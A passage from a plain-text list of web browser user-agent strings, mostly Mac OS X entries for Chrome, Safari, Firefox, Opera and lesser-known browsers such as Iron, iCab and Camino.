10_6_8) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1150.1  Iron/20.0.1150.1 Safari/536.11\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.0 Safari/534.24\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.794.0 Safari/535.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.803.0 Safari/535.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.861.0 Safari/535.2\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.834.0 Safari/535.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.45 Safari/535.19\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.7 (KHTML, like Gecko) Iron/16.0.950.0 Chrome/16.0.950.0 Safari/535.7\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.1 (KHTML, like Gecko) Iron/14.0.850.0 Chrome/14.0.850.0 Safari/535.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.22 (KHTML, like Gecko) Chrome/19.0.1047.0 Safari/535.22\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.7 (KHTML, like Gecko) Iron/16.0.950.0 Chrome/16.0.950.0 Safari/535.7\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/535.19 (KHTML, like Gecko) Iron/18.0.1050.0 Chrome/18.0.1050.0 Safari/535.19\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Iron/19.0.1100.0 Chrome/19.0.1100.0 Safari/536.5\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.26.17 (KHTML like Gecko) Version/6.0.2 Safari/536.26.17\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_8) AppleWebKit/536.15 (KHTML, like Gecko) iCab/5.0 Safari/533.16\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1150.1  Iron/20.0.1150.1 Safari/536.11\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_8_1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1200.0 Iron/21.0.1200.0  Safari/537.1\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.6 Safari/537.11\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1309.0 Safari/537.17\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.4 (KHTML like Gecko) Chrome/22.0.1229.79 Safari/537.4\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.31 (KHTML like Gecko) Chrome/26.0.1410.63 Safari/537.31\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1664.3 Safari/537.36\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A\nMozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.78.1 (KHTML like Gecko) Version/7.0.6 Safari/537.78.1\nMozilla/5.0 (Macintosh; Intel Mac OS X; U; de; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.64\nMozilla/5.0 (Macintosh; Intel Mac OS X; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.10\nMozilla/5.0 (Macintosh; Intel Mac OS X; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.27\nMozilla/5.0 (Macintosh; Intel Mac OS X; U; nb) Opera 9.02\nMozilla/5.0 (Macintosh; Intel Mac OS X; U; nb; rv:1.7.5) Gecko/20041110\nMozilla/5.0 (Macintosh; N; PPC Mac OS X; de-de) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Privoxy/3.0\nMozilla/5.0 (Macintosh; N; PPC Mac OS X; en-us) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Privoxy/3.0\nMozilla/5.0 (Macintosh; PPC Mac OS X 10.4; rv:10.0.2) Gecko/20120217 Firefox/10.0.2 TenFourFox/G3\nMozilla/5.0 (Macintosh; PPC Mac OS X 10.5; rv:10.0.2) Gecko/20120216 Firefox/10.0.2 TenFourFox/7450\nMozilla/5.0 (Macintosh; PPC Mac OS X 10.5; rv:15.0) Gecko/20120910 SeaMonkey/2.12.1\nMozilla/5.0 (Macintosh; PPC Mac OS X 10.5; rv:16.0) Gecko/20121009 Firefox/16.0 SeaMonkey/2.13\nMozilla/5.0 (Macintosh; PPC Mac OS X 10_5_8) AppleWebKit/534.50.2 (KHTML, like Gecko) iCab/5.0 Safari/533.16\nMozilla/5.0 (Macintosh; PPC Mac OS X 10_5_8) AppleWebKit/536.15+ (KHTML, like Gecko) iCab/5.0 Safari/533.16\nMozilla/5.0 (Macintosh; PPC Mac OS X 10_5_8) AppleWebKit/536.17+ (KHTML, like Gecko) iCab/5.0 Safari/533.16\nMozilla/5.0 (Macintosh; PPC Mac OS X 10_5_8) AppleWebKit/536.25+ (KHTML, like Gecko) iCab/5.0 Safari/533.16\nMozilla/5.0 (Macintosh; PPC Mac OS X 10_5_8) AppleWebKit/537.1+ (KHTML, like Gecko) iCab/5.0 Safari/533.16\nMozilla/5.0 (Macintosh; PPC Mac OS X 10_5_8) AppleWebKit/537.3+ (KHTML, like Gecko) iCab/5.0 Safari/533.16\nMozilla/5.0 (Macintosh; PPC Mac OS X 10_6_7) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.790.0 Safari/535.1\nMozilla/5.0 (Macintosh; PPC Mac OS X; U; en) Opera 8.51\nMozilla/5.0 (Macintosh; PPC Mac OS X; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0\nMozilla/5.0 (Macintosh; PPC Mac OS X; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.10\nMozilla/5.0 (Macintosh; PPC Mac OS X; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0\nMozilla/5.0 (Macintosh; PPC Mac OS X; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 10.00\nMozilla/5.0 (Macintosh; PPC MacOS X; rv:5.0) Gecko/20110615 Firefox/5.0\nMozilla/5.0 (Macintosh; U; 68K Mac OS X Mach-O; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Macintosh; U; Intel 80486Mac OS X; en-US) AppleWebKit/528.16 (KHTML, like Gecko, Safari/528.16) OmniWeb/v622.8.0.112916\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; da; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; de; rv:1.9) Gecko/2008061004 Firefox/3.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; de; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; de; rv:1.9.0.7) Gecko/2009021906 Firefox/3.0.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-GB; rv:1.9.0.2) Gecko/2008091618 Firefox/3.0.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-GB; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-GB; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 GTB5\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1 GTB5\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.0.1)Gecko/2008070206 Firefox/3.0.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.0.10) Gecko/2009042315 Firefox/3.0.10\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.0.19) Gecko/2010062819 Firefox/3.0.19 Flock/2.6.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.0.4) Gecko/2008111323 Firefox/3.0.4 Flock/2.0.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.0.5) Gecko/2008121716 Firefox/3.0.5 Flock/2.0.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.0.6) Gecko/2009022316 Firefox/3.0.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.0.9) Gecko/2009042318 Firefox/3.0.9 Wyzo/3.0.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.0.9) Gecko/2009042318 Firefox/3.0.9 Wyzo/3.0.3 GTB6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.1b3pre) Gecko/20090223 SeaMonkey/2.0a3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.2.8) Gecko/20100802 Thunderbird/3.1.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9b5) Gecko/2008032619 Firefox/3.0b5\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; es-ES; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; fr; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; fr; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; fr; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; it; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; sv-SE; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; sv-SE; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5.7; it; rv:1.9) Gecko/20080920 Firefox/3.0.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5.7; it; rv:1.9b4) Gecko/2008030317 Firefox/3.0.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; da; rv:1.9.0.10) Gecko/2009042315 Firefox/3.0.10\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; da; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; da; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; de-DE; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; de; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; de; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; de; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; de; rv:1.9.0.9) Gecko/2009040820 Firefox/3.0.9\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; de; rv:1.9.0.9) Gecko/2009040820 Firefox/3.0.9 FirePHP/0.2.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-GB; rv:1.9) Gecko/2008052906 Firefox/3.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-GB; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-GB; rv:1.9.0.10) Gecko/2009042315 Firefox/3.0.10\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-GB; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-GB; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.0.8\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-GB; rv:1.9b5) Gecko/20071127 Firefox/2.0.0.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.1) Gecko/2008070206\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1 FirePHP/0.2.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.1) Gecko/2008071620 Firefox/3.0.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.10) Gecko/2009122115 Firefox/3.0.17\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.12) Gecko/2009070609 Firefox/3.0.12\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.13) Gecko/2009073021 Firefox/3.0.13\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.21 Gecko/2008091618 Firefox/3.0.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.3) Gecko/2008100716 Firefox/3.0.3 Flock/2.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.3pre) Gecko/2008090704 GranParadiso/3.0.3pre\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.4) Gecko/2008111323 Firefox/3.0.4 Flock/2.0.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.6) Gecko/2009011912 AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 FirePHP/0.2.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 GTB5\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.6) Gecko/2009011912 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.6) Gecko/2009011912 Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 FirePHP/0.2.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8 GTB5\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.9) Gecko/2009040820 Firefox/3.0.9\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.9) Gecko/2009042318 Firefox/3.0.9 Wyzo/3.0.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.5\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 FirePHP/0.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1.9) Gecko/20100317 Thunderbird/3.0.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1a2pre) Gecko/20080826052737 Minefield/3.1a2pre\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b1pre) Gecko/20080908170408 Minefield/3.1b1pre\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081202 SeaMonkey/2.0a2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081217 Shiretoko/3.1b3pre\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20090204 Firefox/3.1b3pre\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20090227 Shiretoko/3.1b3pre\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 GTB5\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2.11) Gecko/20101013 Thunderbird/3.1.5\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2.4) Gecko/20100527 Firefox/3.6.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2a1) Gecko/20090806 Namoroka/3.6a1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2a1pre) Gecko/20090217 Minefield/3.2a1pre\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2a1pre) Gecko/20090219 Minefield/3.2a1pre\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2a1pre) Gecko/20090222 Minefield/3.2a1pre\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2a1pre) Gecko/20090224 Minefield/3.2a1pre\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2a1pre) Gecko/20090225 Minefield/3.2a1pre\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2a1pre) Gecko/20090302 Minefield/3.2a1pre\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2a1pre) Gecko/20090315 Minefield/3.2a1pre\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2a1pre) Gecko/20090324 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.0.7) Gecko/2009021906 Firefox/3.0.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2a1pre) Gecko/20090403 Minefield/3.6a1pre\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2a1pre) Gecko/20090405 Minefield/3.6a1pre\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2a1pre) Gecko/20090408 Minefield/3.6a1pre\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2a1pre) Gecko/20090418 Minefield/3.6a1pre\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2a1pre) Gecko/20090626 Fennec/1.0b2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2a1pre) Gecko/20090722 Minefield/3.6a1pre\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9b4pre) Gecko/2008022104 Minefield/3.0b4pre\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-au; rv:1.9.0.1) Gecko/2008070206\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en; rv:1.9.0.10pre) Gecko/2009041800 Camino/2.0b3pre (like Firefox/3.0.10pre)\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en; rv:1.9.0.8pre) Gecko/2009022800 Camino/2.0b3pre\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; es-AR; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; es-AR; rv:1.9.0.7) Gecko/2009021906 Firefox/3.0.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; es-AR; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; es-ES; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; es-ES; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; es-ES; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; es-ES; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fi; rv:1.9.0.7) Gecko/2009021906 Firefox/3.0.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fi; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9) Gecko/2008061004 Firefox/3.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.0.10) Gecko/2009042315 Firefox/3.0.10\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.0.12) Gecko/2009070609 Firefox/3.0.12\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.0.13) Gecko/2009073021 Firefox/3.0.13\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5 FirePHP/0.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; hu; rv:1.9.0.10) Gecko/2009042315 Firefox/3.0.10\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; it; rv:1.9) Gecko/2008061004 Firefox/3.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; it; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; it; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; it; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 FBSMTWB\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; it; rv:1.9.2.22) Gecko/20110902 Firefox/3.6.22\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; it; rv:1.9b4) Gecko/2008030317 Firefox/3.0b4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ko; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ko; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; nb-NO; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; nl; rv:1.9) Gecko/2008061004 Firefox/3.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; nl; rv:1.9.0.11) Gecko/2009060214 Firefox/3.0.11\nMozilla/5.0 (Macintosh; U; Intel 